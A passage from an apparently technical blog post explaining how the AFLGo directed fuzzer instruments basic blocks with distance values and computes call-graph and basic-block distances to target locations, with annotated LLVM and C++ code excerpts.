class="n">F</span><span class="p">,</span> <span class="nb">true</span><span class="p">);</span> <span class="p">}</span> </code></pre></div></div> <h3 id="instrumentation">Instrumentation</h3> <p>Using information collected above, for each basic block in binary, a distance to target locations will be calculated and stored in a file, which is passed via <code class="language-plaintext highlighter-rouge">DistanceFile</code> and used in instrumentation step. I will detail the way to calculate distances later.</p> <p>The instrumentation step is comparatively simple. Compared to original AFL instrumentation, one more distance-related operation is added. As it iterates all basic blocks, it finds in the distance file whether current basic block has a distance value recorded. If so, the distance value is magnified by 100 and converted into integer, and used in instrumentation to be added to <code class="language-plaintext highlighter-rouge">shm[MAPSIZE]</code>. Also in instrumentation, <code class="language-plaintext highlighter-rouge">shm[MAPSIZE + (4 or 8)]</code> is incremented by one. In this way, when this basic block is executed in runtime, <code class="language-plaintext highlighter-rouge">shm[MAPSIZE]</code> will be added by its distance to target locations and <code class="language-plaintext highlighter-rouge">shm[MAPSIZE + (4 or 8)]</code> will be incremented by one.</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">distance</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// if a distance is found</span> <span class="n">ConstantInt</span> <span class="o">*</span><span class="n">Distance</span> <span class="o">=</span> <span class="n">ConstantInt</span><span class="o">::</span><span class="n">get</span><span class="p">(</span><span class="n">LargestType</span><span class="p">,</span> <span class="p">(</span><span class="kt">unsigned</span><span class="p">)</span> <span class="n">distance</span><span class="p">);</span> <span class="cm">/* Add distance to shm[MAPSIZE] */</span> <span class="n">Value</span> <span class="o">*</span><span class="n">MapDistPtr</span> <span class="o">=</span> <span class="n">IRB</span><span class="p">.</span><span class="n">CreateBitCast</span><span class="p">(</span> <span class="n">IRB</span><span class="p">.</span><span class="n">CreateGEP</span><span class="p">(</span><span class="n">MapPtr</span><span class="p">,</span> <span class="n">MapDistLoc</span><span class="p">),</span> <span class="n">LargestType</span><span class="o">-&gt;</span><span class="n">getPointerTo</span><span class="p">());</span> <span class="n">LoadInst</span> <span class="o">*</span><span class="n">MapDist</span> <span class="o">=</span> <span class="n">IRB</span><span class="p">.</span><span class="n">CreateLoad</span><span class="p">(</span><span class="n">MapDistPtr</span><span class="p">);</span> <span class="n">MapDist</span><span class="o">-&gt;</span><span class="n">setMetadata</span><span class="p">(</span><span class="n">M</span><span class="p">.</span><span class="n">getMDKindID</span><span class="p">(</span><span class="s">"nosanitize"</span><span class="p">),</span> <span class="n">MDNode</span><span class="o">::</span><span class="n">get</span><span class="p">(</span><span class="n">C</span><span class="p">,</span> <span class="n">None</span><span class="p">));</span> <span class="n">Value</span> <span class="o">*</span><span class="n">IncrDist</span> <span class="o">=</span> <span class="n">IRB</span><span class="p">.</span><span class="n">CreateAdd</span><span class="p">(</span><span class="n">MapDist</span><span class="p">,</span> <span class="n">Distance</span><span class="p">);</span> <span class="n">IRB</span><span class="p">.</span><span class="n">CreateStore</span><span class="p">(</span><span class="n">IncrDist</span><span class="p">,</span> <span class="n">MapDistPtr</span><span class="p">)</span> <span class="o">-&gt;</span><span class="n">setMetadata</span><span class="p">(</span><span class="n">M</span><span class="p">.</span><span class="n">getMDKindID</span><span class="p">(</span><span class="s">"nosanitize"</span><span class="p">),</span> <span class="n">MDNode</span><span class="o">::</span><span class="n">get</span><span class="p">(</span><span class="n">C</span><span class="p">,</span> <span class="n">None</span><span class="p">));</span> <span class="cm">/* Increase count at shm[MAPSIZE + (4 or 8)] */</span> <span class="n">Value</span> <span class="o">*</span><span class="n">MapCntPtr</span> <span class="o">=</span> <span class="n">IRB</span><span class="p">.</span><span class="n">CreateBitCast</span><span class="p">(</span> <span class="n">IRB</span><span class="p">.</span><span class="n">CreateGEP</span><span class="p">(</span><span class="n">MapPtr</span><span class="p">,</span> <span class="n">MapCntLoc</span><span class="p">),</span> <span class="n">LargestType</span><span class="o">-&gt;</span><span class="n">getPointerTo</span><span class="p">());</span> <span class="n">LoadInst</span> <span class="o">*</span><span class="n">MapCnt</span> <span class="o">=</span> <span class="n">IRB</span><span class="p">.</span><span class="n">CreateLoad</span><span class="p">(</span><span class="n">MapCntPtr</span><span class="p">);</span> <span class="n">MapCnt</span><span class="o">-&gt;</span><span class="n">setMetadata</span><span class="p">(</span><span class="n">M</span><span class="p">.</span><span class="n">getMDKindID</span><span class="p">(</span><span class="s">"nosanitize"</span><span class="p">),</span> <span class="n">MDNode</span><span class="o">::</span><span class="n">get</span><span class="p">(</span><span class="n">C</span><span class="p">,</span> <span class="n">None</span><span class="p">));</span> <span class="n">Value</span> <span class="o">*</span><span class="n">IncrCnt</span> <span class="o">=</span> <span class="n">IRB</span><span class="p">.</span><span class="n">CreateAdd</span><span class="p">(</span><span class="n">MapCnt</span><span class="p">,</span> <span class="n">One</span><span class="p">);</span> <span class="n">IRB</span><span class="p">.</span><span class="n">CreateStore</span><span class="p">(</span><span class="n">IncrCnt</span><span class="p">,</span> <span class="n">MapCntPtr</span><span class="p">)</span> <span class="o">-&gt;</span><span class="n">setMetadata</span><span class="p">(</span><span class="n">M</span><span class="p">.</span><span class="n">getMDKindID</span><span class="p">(</span><span class="s">"nosanitize"</span><span class="p">),</span> <span class="n">MDNode</span><span class="o">::</span><span class="n">get</span><span class="p">(</span><span class="n">C</span><span class="p">,</span> <span class="n">None</span><span class="p">));</span> <span class="p">}</span> </code></pre></div></div> <h2 id="0x02-calculating-distances">0x02 Calculating Distances</h2> <p>The distance generation is wrapped by a script <code class="language-plaintext highlighter-rouge">gen_distance_fast.py</code>. In this script, <code class="language-plaintext highlighter-rouge">construct_callgraph</code> function is called to first generate call graph from <code class="language-plaintext highlighter-rouge">llvm</code> <code class="language-plaintext highlighter-rouge">.bc</code> file. This is achieved by <code class="language-plaintext highlighter-rouge">llvm</code> built-in <code class="language-plaintext highlighter-rouge">-dot-callgraph</code> utility executed in function <code class="language-plaintext highlighter-rouge">opt_callgraph</code>. The result call graph for all binaries is finally stored at <code class="language-plaintext highlighter-rouge">callgraph.dot</code>.</p> <p>Then <code class="language-plaintext highlighter-rouge">calculating_distances</code> function is called to execute <code class="language-plaintext highlighter-rouge">distance_calculator/main.cpp</code> for actual distance calculation.</p> <h3 id="call-graph-distance">Call Graph Distance</h3> <p>Firstly call graph distance is computed through executing <code class="language-plaintext highlighter-rouge">main.cpp</code> using function <code class="language-plaintext highlighter-rouge">exec_distance_prog</code>. <code class="language-plaintext highlighter-rouge">callgraph.dot</code>, <code class="language-plaintext highlighter-rouge">Ftargets.txt</code> and <code class="language-plaintext highlighter-rouge">Fnames.txt</code> are provided as input and <code class="language-plaintext highlighter-rouge">callgraph.distance.txt</code> is provided as output. These file paths are passed to <code class="language-plaintext highlighter-rouge">main.cpp</code> as arguments. In <code class="language-plaintext highlighter-rouge">main.cpp</code>, graph is processed using C++ boost library. I will not detail stuff about boost library here but core parts that calculate the distance, which starts at function <code class="language-plaintext highlighter-rouge">cg_calculation</code>.</p> <p>This function accepts 2 arguments, first one is the boost graph representation that represents the call graph of the program, and second one is an array that stores all functions present in <code class="language-plaintext highlighter-rouge">Ftargets.txt</code>. What this function does is only map each target function name to actual nodes in type <code class="language-plaintext highlighter-rouge">vertex_desc</code>, and return these nodes.</p> <div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="n">vertex_desc</span><span class="o">&gt;</span> <span class="n">cg_calculation</span><span class="p">(</span> <span class="n">graph_t</span> <span class="o">&amp;</span><span class="n">G</span><span class="p">,</span> <span class="n">std</span><span class="o">::</span><span class="n">ifstream</span> <span class="o">&amp;</span><span class="n">target_stream</span> <span class="p">)</span> <span class="p">{</span> <span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"Loading targets..</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span> <span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="n">vertex_desc</span><span class="o">&gt;</span> <span class="n">targets</span><span class="p">;</span> <span class="k">for</span> <span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">line</span><span class="p">;</span> <span class="n">getline</span><span class="p">(</span><span class="n">target_stream</span><span class="p">,</span> <span class="n">line</span><span class="p">);</span> <span class="p">)</span> <span class="p">{</span> <span class="n">bo</span><span class="o">::</span><span class="n">trim</span><span class="p">(</span><span class="n">line</span><span class="p">);</span> <span class="k">for</span> <span class="p">(</span><span class="k">auto</span> <span class="n">t</span> <span class="o">:</span> <span class="n">find_nodes</span><span class="p">(</span><span class="n">G</span><span class="p">,</span> <span class="n">line</span><span class="p">))</span> <span class="p">{</span> <span class="n">targets</span><span class="p">.</span><span class="n">push_back</span><span class="p">(</span><span class="n">t</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="n">targets</span><span class="p">.</span><span class="n">empty</span><span class="p">())</span> <span class="p">{</span> <span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"No targets available</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span> <span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="p">}</span> <span class="k">return</span> <span class="n">targets</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p><code class="language-plaintext highlighter-rouge">find_node</code> is a function that maps vertex name to actual vertexes in the given graph.</p> <div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="n">vertex_desc</span><span class="o">&gt;</span> <span class="n">ret</span><span class="p">;</span> <span class="n">bo</span><span class="o">::</span><span class="n">graph_traits</span><span class="o">&lt;</span><span class="n">graph_t</span><span class="o">&gt;::</span><span class="n">vertex_iterator</span> <span class="n">vi</span><span class="p">,</span> <span class="n">vi_end</span><span class="p">;</span> <span class="k">for</span> <span class="p">(</span><span class="n">boost</span><span class="o">::</span><span class="n">tie</span><span class="p">(</span><span class="n">vi</span><span class="p">,</span> <span class="n">vi_end</span><span class="p">)</span> <span class="o">=</span> <span class="n">vertices</span><span class="p">(</span><span class="n">G</span><span class="p">);</span> <span class="n">vi</span> <span class="o">!=</span> <span class="n">vi_end</span><span class="p">;</span> <span class="o">++</span><span class="n">vi</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// iterate all vertexes</span> <span class="k">if</span><span class="p">(</span><span class="n">G</span><span class="p">[</span><span class="o">*</span><span class="n">vi</span><span class="p">].</span><span class="n">label</span><span class="p">.</span><span class="n">find</span><span class="p">(</span><span class="n">n_name</span><span class="p">)</span> <span class="o">!=</span> <span class="n">std</span><span class="o">::</span><span class="n">string</span><span class="o">::</span><span class="n">npos</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// if label of the vertex contains given name, push it to return array.</span> <span class="c1">// Note that n_name here is preprocessed with node_name,</span> <span class="c1">// so function name that is substring of another function name does not cause problem</span> <span class="n">ret</span><span class="p">.</span><span class="n">push_back</span><span class="p">(</span><span class="o">*</span><span class="n">vi</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> <p>Actually, I cannot come up with the case where 2 or more vertexes correspond to one name. (e.i. 2 or more functions in call graph have the same function name) However, for control flow graph later, this might be possible and will be covered later.</p> <p>After <code class="language-plaintext highlighter-rouge">cg_calculation</code>, it iterates all vertexes represented by functions present in <code class="language-plaintext highlighter-rouge">Fname.txt</code>:</p> <div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">std</span><span class="o">::</span><span class="n">ifstream</span> <span class="n">names</span> <span class="o">=</span> <span class="n">open_file</span><span class="p">(</span><span class="n">vm</span><span class="p">[</span><span class="s">"names"</span><span class="p">].</span><span class="n">as</span><span class="o">&lt;</span><span class="n">std</span><span class="o">::</span><span class="n">string</span><span class="o">&gt;</span><span class="p">());</span> <span class="c1">// ...</span> <span class="k">for</span> <span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">line</span><span class="p">;</span> <span class="n">getline</span><span class="p">(</span><span class="n">names</span><span class="p">,</span> <span class="n">line</span><span class="p">);</span> <span class="p">)</span> <span class="p">{</span> <span class="n">bo</span><span class="o">::</span><span class="n">trim</span><span class="p">(</span><span class="n">line</span><span class="p">);</span> <span class="n">distance</span><span class="p">(</span><span class="n">graph</span><span class="p">,</span> <span class="n">line</span><span class="p">,</span> <span class="n">targets</span><span class="p">,</span> <span class="n">outstream</span><span class="p">,</span> <span class="n">bb_distance</span><span class="p">);</span> <span class="p">}</span> </code></pre></div></div> <p>Function <code class="language-plaintext highlighter-rouge">distance</code> is the actual function that calculates the distance. It firstly calculates <code class="language-plaintext highlighter-rouge">distances</code> using <code class="language-plaintext highlighter-rouge">init_distances_from</code>, which calculates shortest distances of all nodes from node <code class="language-plaintext highlighter-rouge">n</code>. Then call graph distances are calculated.</p> <div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="n">vertex_desc</span> <span class="n">n</span> <span class="o">:</span> <span class="n">find_nodes</span><span class="p">(</span><span class="n">G</span><span class="p">,</span> <span class="n">name</span><span class="p">))</span> <span class="p">{</span> <span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="kt">int</span><span class="o">&gt;</span> <span class="n">distances</span><span class="p">(</span><span class="n">bo</span><span class="o">::</span><span class="n">num_vertices</span><span class="p">(</span><span class="n">G</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span> <span class="n">init_distances_from</span><span class="p">(</span><span class="n">G</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">distances</span><span class="p">);</span> <span class="kt">double</span> <span class="n">d</span> <span class="o">=</span> <span class="mf">0.0</span><span class="p">;</span> <span class="kt">unsigned</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="n">is_cg</span><span class="p">)</span> <span class="p">{</span> <span class="k">for</span> <span class="p">(</span><span class="n">vertex_desc</span> <span class="n">t</span> <span class="o">:</span> <span class="n">targets</span><span class="p">)</span> <span class="p">{</span> <span class="k">auto</span> <span class="n">shortest</span> <span class="o">=</span> <span class="n">distances</span><span class="p">[</span><span class="n">t</span><span class="p">];</span> <span class="c1">// shortest distance from n to t</span> <span class="k">if</span> <span class="p">(</span><span class="n">shortest</span> <span class="o">==</span> <span class="mi">0</span> <span class="n">and</span> <span class="n">n</span> <span class="o">!=</span> <span class="n">t</span><span class="p">)</span> <span class="k">continue</span><span class="p">;</span> <span class="c1">// only consider reachable targets</span> <span class="n">d</span> <span class="o">+=</span> <span class="mf">1.0</span> <span class="o">/</span> <span class="p">(</span><span class="mf">1.0</span> <span class="o">+</span> <span class="k">static_cast</span><span class="o">&lt;</span><span class="kt">double</span><span class="o">&gt;</span><span class="p">(</span><span class="n">shortest</span><span class="p">));</span> <span class="o">++</span><span class="n">i</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="c1">// ...</span> <span class="p">}</span> <span class="kt">double</span> <span class="n">tmp</span> <span class="o">=</span> <span class="k">static_cast</span><span class="o">&lt;</span><span class="kt">double</span><span class="o">&gt;</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="o">/</span> <span class="n">d</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="n">d</span> <span class="o">!=</span> <span class="mi">0</span> <span class="n">and</span> <span class="p">(</span><span class="n">distance</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span> <span class="n">or</span> <span class="n">distance</span> <span class="o">&gt;</span> <span class="n">tmp</span><span class="p">))</span> <span class="p">{</span> <span class="n">distance</span> <span class="o">=</span> <span class="n">tmp</span><span class="p">;</span> <span class="c1">// result is the minimum distance of all nodes</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> <p>According to code, formula for calculating the call graph distance for a node \(n\) (which represents a function) is:</p> \[\large min_{n}\frac{|T_n|}{\sum_{t \in T_n} \frac{1}{1+S_{n\rightarrow t}}}\] <p>\(min_n\) stands for we want to find the minimum value among all \(n\) returned from <code class="language-plaintext highlighter-rouge">find_nodes</code>, but I think in call graph case there should be at most one vertex being returned; \(T_n\) means set of all reachable targets from \(n\); \(S_{n\rightarrow t}\) means <code class="language-plaintext highlighter-rouge">distances[t]</code>, which is the minimum distance from \(n\) to \(t\).</p> <h3 id="basic-block-distance">Basic Block Distance</h3> <p>After calculating call graph distances, the Python script then calls function <code class="language-plaintext highlighter-rouge">calculate_cfg_distance_from_file</code> for each <code class="language-plaintext highlighter-rouge">cfg.*.dot</code> file in <code class="language-plaintext highlighter-rouge">dot-files</code>, which represents control flow graph of each function. This function also calls <code class="language-plaintext highlighter-rouge">main.cpp</code>, but this time with <code class="language-plaintext highlighter-rouge">cfg.*.dot</code>, <code class="language-plaintext highlighter-rouge">BBtargets.txt</code>, <code class="language-plaintext highlighter-rouge">BBnames.txt</code>, <code class="language-plaintext highlighter-rouge">callgraph.distance.txt</code>(generated in last step) and <code class="language-plaintext highlighter-rouge">BBcalls.txt</code> as inputs, and <code class="language-plaintext highlighter-rouge">name + ".distances.txt"</code> as output. Note that this time the arguments passed are completely different from call graph case: call graph of program is replaced by control flow graph of each function; <code class="language-plaintext highlighter-rouge">Ftargets.txt</code> is replaced by <code class="language-plaintext highlighter-rouge">BBtargets.txt</code>; <code class="language-plaintext highlighter-rouge">Fnames.txt</code> is replaced by <code class="language-plaintext highlighter-rouge">BBnames.txt</code>.</p> <p>Similarly, the distance calculation part starts with function <code class="language-plaintext highlighter-rouge">cfg_calculation</code>. Firstly, call graph distance file is converted into an <code class="language-plaintext highlighter-rouge">std::unordered_map</code> that maps function name to distance.</p> <div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">line</span><span class="p">;</span> <span class="n">getline</span><span class="p">(</span><span class="n">cg_distance_stream</span><span class="p">,</span> <span class="n">line</span><span class="p">);</span> <span class="p">)</span> <span class="p">{</span> <span class="n">bo</span><span class="o">::</span><span class="n">trim</span><span class="p">(</span><span class="n">line</span><span class="p">);</span> <span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="n">std</span><span class="o">::</span><span class="n">string</span><span class="o">&gt;</span> <span class="n">splits</span><span class="p">;</span> <span class="n">bo</span><span class="o">::</span><span class="n">algorithm</span><span class="o">::</span><span class="n">split</span><span class="p">(</span><span class="n">splits</span><span class="p">,</span> <span class="n">line</span><span class="p">,</span> <span class="n">bo</span><span class="o">::</span><span class="n">is_any_of</span><span class="p">(</span><span class="s">","</span><span class="p">));;</span> <span class="n">assert</span><span class="p">(</span><span class="n">splits</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">==</span> <span class="mi">2</span><span class="p">);</span> <span class="n">cg_distance</span><span class="p">[</span><span class="n">splits</span><span class="p">[</span><span class="mi">0</span><span class="p">]]</span> <span class="o">=</span> <span class="n">std</span><span class="o">::</span><span class="n">stod</span><span class="p">(</span><span class="n">splits</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span> <span class="p">}</span> </code></pre></div></div> <p>Also, for each basic block in control flow graph of current function, we collect all functions it calls using <code class="language-plaintext highlighter-rouge">BBcalls.txt</code>. Among these functions that have <code class="language-plaintext highlighter-rouge">cg_distance</code>, AFLGO get the minimum of these and set <code class="language-plaintext highlighter-rouge">bb_distance</code> to it.</p> <div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">line</span><span class="p">;</span> <span class="n">getline</span><span class="p">(</span><span class="n">cg_callsites_stream</span><span class="p">,</span> <span class="n">line</span><span class="p">);</span> <span class="p">)</span> <span class="p">{</span> <span class="n">bo</span><span class="o">::</span><span class="n">trim</span><span class="p">(</span><span class="n">line</span><span class="p">);</span> <span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="n">std</span><span class="o">::</span><span class="n">string</span><span class="o">&gt;</span> <span class="n">splits</span><span class="p">;</span> <span class="n">bo</span><span class="o">::</span><span class="n">algorithm</span><span class="o">::</span><span class="n">split</span><span class="p">(</span><span class="n">splits</span><span class="p">,</span> <span class="n">line</span><span class="p">,</span> <span class="n">bo</span><span class="o">::</span><span class="n">is_any_of</span><span class="p">(</span><span class="s">","</span><span class="p">));;</span> <span class="n">assert</span><span class="p">(</span><span class="n">splits</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">==</span> <span class="mi">2</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">not</span> <span class="n">find_nodes</span><span class="p">(</span><span class="n">G</span><span class="p">,</span> <span class="n">splits</span><span class="p">[</span><span class="mi">0</span><span class="p">]).</span><span class="n">empty</span><span class="p">())</span> <span class="p">{</span> <span class="c1">// only process basic blocks in current CFG</span> <span class="k">if</span> <span class="p">(</span><span class="n">cg_distance</span><span class="p">.</span><span class="n">find</span><span class="p">(</span><span class="n">splits</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">!=</span> <span class="n">cg_distance</span><span class="p">.</span><span class="n">end</span><span class="p">())</span> <span class="p">{</span> <span class="c1">// only process called functions with `cg_distance`</span> <span class="k">if</span> <span class="p">(</span><span class="n">bb_distance</span><span class="p">.</span><span class="n">find</span><span class="p">(</span><span class="n">splits</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">!=</span> <span class="n">bb_distance</span><span class="p">.</span><span class="n">end</span><span class="p">())</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">bb_distance</span><span class="p">[</span><span class="n">splits</span><span class="p">[</span><span class="mi">0</span><span class="p">]]</span> <span class="o">&gt;</span> <span class="n">cg_distance</span><span class="p">[</span><span class="n">splits</span><span class="p">[</span><span class="mi">1</span><span class="p">]])</span> <span class="p">{</span> <span class="n">bb_distance</span><span class="p">[</span><span class="n">splits</span><span class="p">[</span><span class="mi">0</span><span class="p">]]</span> <span class="o">=</span> <span class="n">cg_distance</span><span class="p">[</span><span class="n">splits</span><span class="p">[</span><span class="mi">1</span><span class="p">]];</span> <span class="p">}</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">bb_distance</span><span class="p">[</span><span class="n">splits</span><span class="p">[</span><span class="mi">0</span><span class="p">]]</span> <span class="o">=</span> <span class="n">cg_distance</span><span class="p">[</span><span class="n">splits</span><span class="p">[</span><span class="mi">1</span><span class="p">]];</span> <span class="p">}</span> <span class="c1">// get the minimum cg_distance of all functions called by a basic block</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> <p>Finally, <code class="language-plaintext highlighter-rouge">bb_distance</code> of all target locations in current function is set to 0. However, I think this part is a bit problematic, because <code class="language-plaintext highlighter-rouge">BBtargets.txt</code> does not necessarily contain basic block name (e.i. It can be location of instruction other than first instruction of this basic block).</p> <div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">line</span><span class="p">;</span> <span class="n">getline</span><span class="p">(</span><span class="n">targets_stream</span><span class="p">,</span> <span class="n">line</span><span class="p">);</span> <span class="p">)</span> <span class="p">{</span> <span class="n">bo</span><span class="o">::</span><span class="n">trim</span><span class="p">(</span><span class="n">line</span><span class="p">);</span> <span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="n">std</span><span class="o">::</span><span class="n">string</span><span class="o">&gt;</span> <span class="n">splits</span><span class="p">;</span> <span class="n">bo</span><span class="o">::</span><span class="n">algorithm</span><span class="o">::</span><span class="n">split</span><span class="p">(</span><span class="n">splits</span><span class="p">,</span> <span class="n">line</span><span class="p">,</span> <span class="n">bo</span><span class="o">::</span><span class="n">is_any_of</span><span class="p">(</span><span class="s">"/"</span><span class="p">));;</span> <span class="kt">size_t</span> <span class="n">found</span> <span class="o">=</span> <span class="n">line</span><span class="p">.</span><span class="n">find_last_of</span><span class="p">(</span><span class="sc">'/'</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">found</span> <span class="o">!=</span> <span class="n">std</span><span class="o">::</span><span class="n">string</span><span class="o">::</span><span class="n">npos</span><span class="p">)</span> <span class="n">line</span> <span class="o">=</span> <span class="n">line</span><span class="p">.</span><span class="n">substr</span><span class="p">(</span><span class="n">found</span><span class="o">+</span><span class="mi">1</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">not</span> <span class="n">find_nodes</span><span class="p">(</span><span class="n">G</span><span class="p">,</span> <span class="n">splits</span><span class="p">[</span><span class="mi">0</span><span class="p">]).</span><span class="n">empty</span><span class="p">())</span> <span class="p">{</span> <span class="n">bb_distance</span><span class="p">[</span><span class="n">line</span><span class="p">]</span> <span class="o">=</span> <span class="mf">0.0</span><span class="p">;</span> <span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"Added target BB "</span> <span class="o">&lt;&lt;</span> <span class="n">line</span> <span class="o">&lt;&lt;</span> <span class="s">"!</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> <p>Then similar to call graph one, <code class="language-plaintext highlighter-rouge">distance</code> function is used to actually calculate the distance for each <code class="language-plaintext highlighter-rouge">line</code> in <code class="language-plaintext highlighter-rouge">names</code>. Note that here variable <code class="language-plaintext highlighter-rouge">names</code> is file <code class="language-plaintext highlighter-rouge">BBnames.txt</code> instead of <code class="language-plaintext highlighter-rouge">Fnames.txt</code>, which contains names of all basic blocks in the program. Firstly, if the basic block can be found in <code class="language-plaintext highlighter-rouge">bb_distance</code>, then the distance is simply <code class="language-plaintext highlighter-rouge">10</code> times its basic block distance.</p> <div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">not</span> <span class="n">is_cg</span> <span class="n">and</span> <span class="n">bb_distance</span><span class="p">.</span><span class="n">find</span><span class="p">(</span><span class="n">name</span><span class="p">)</span> <span class="o">!=</span> <span class="n">bb_distance</span><span class="p">.</span><span class="n">end</span><span class="p">())</span> <span class="p">{</span> <span class="n">out</span> <span class="o">&lt;&lt;</span> <span class="n">name</span> <span class="o">&lt;&lt;</span> <span class="s">","</span> <span class="o">&lt;&lt;</span> <span class="n">bo</span><span class="o">::</span><span class="n">lexical_cast</span><span class="o">&lt;</span><span class="n">std</span><span class="o">::</span><span class="n">string</span><span class="o">&gt;</span><span class="p">(</span><span class="mi">10</span> <span class="o">*</span> <span class="n">bb_distance</span><span class="p">[</span><span class="n">name</span><span class="p">])</span> <span class="o">&lt;&lt;</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span> <span class="k">return</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>The other parts are same as the call graph distance calculation, except the <code class="language-plaintext highlighter-rouge">else</code> branch that is omitted last section. Another thing to note is that as mentioned before, it is possible for one basic block name to be mapped to multiple vertexes (e.i. <code class="language-plaintext highlighter-rouge">find_nodes</code> returns 2 or more elements). This can be caused by location in inline function.</p> <div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="k">auto</span> <span class="o">&amp;</span><span class="n">bb_d_entry</span> <span class="o">:</span> <span class="n">bb_distance</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// iterate each basic block name with bb_distance</span> <span class="kt">double</span> <span class="n">di</span> <span class="o">=</span> <span class="mf">0.0</span><span class="p">;</span> <span class="kt">unsigned</span> <span class="n">ii</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="k">for</span> <span class="p">(</span><span class="k">auto</span> <span class="n">t</span> <span class="o">:</span> <span class="n">find_nodes</span><span class="p">(</span><span class="n">G</span><span class="p">,</span> <span class="n">bb_d_entry</span><span class="p">.</span><span class="n">first</span><span class="p">))</span> <span class="p">{</span> <span class="c1">// iterate each basic block with this name</span> <span class="k">auto</span> <span class="n">shortest</span> <span class="o">=</span> <span class="n">distances</span><span class="p">[</span><span class="n">t</span><span class="p">];</span> <span class="c1">// shortest distance from n to t</span> <span class="k">if</span> <span class="p">(</span><span class="n">shortest</span> <span class="o">==</span> <span class="mi">0</span> <span class="n">and</span> <span class="n">n</span> <span class="o">!=</span> <span class="n">t</span><span class="p">)</span> <span class="k">continue</span><span class="p">;</span> <span class="c1">// not reachable</span> <span class="n">di</span> <span class="o">+=</span> <span class="mf">1.0</span> <span class="o">/</span> <span class="p">(</span><span class="mf">1.0</span> <span class="o">+</span> <span class="mi">10</span> <span class="o">*</span> <span class="n">bb_d_entry</span><span class="p">.</span><span class="n">second</span> <span class="o">+</span> <span class="k">static_cast</span><span class="o">&lt;</span><span class="kt">double</span><span class="o">&gt;</span><span class="p">(</span><span class="n">shortest</span><span class="p">));</span> <span class="o">++</span><span class="n">ii</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="n">ii</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="n">d</span> <span class="o">+=</span> <span class="n">di</span> <span class="o">/</span> <span class="k">static_cast</span><span class="o">&lt;</span><span class="kt">double</span><span class="o">&gt;</span><span class="p">(</span><span class="n">ii</span><span class="p">);</span> <span class="o">++</span><span class="n">i</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> 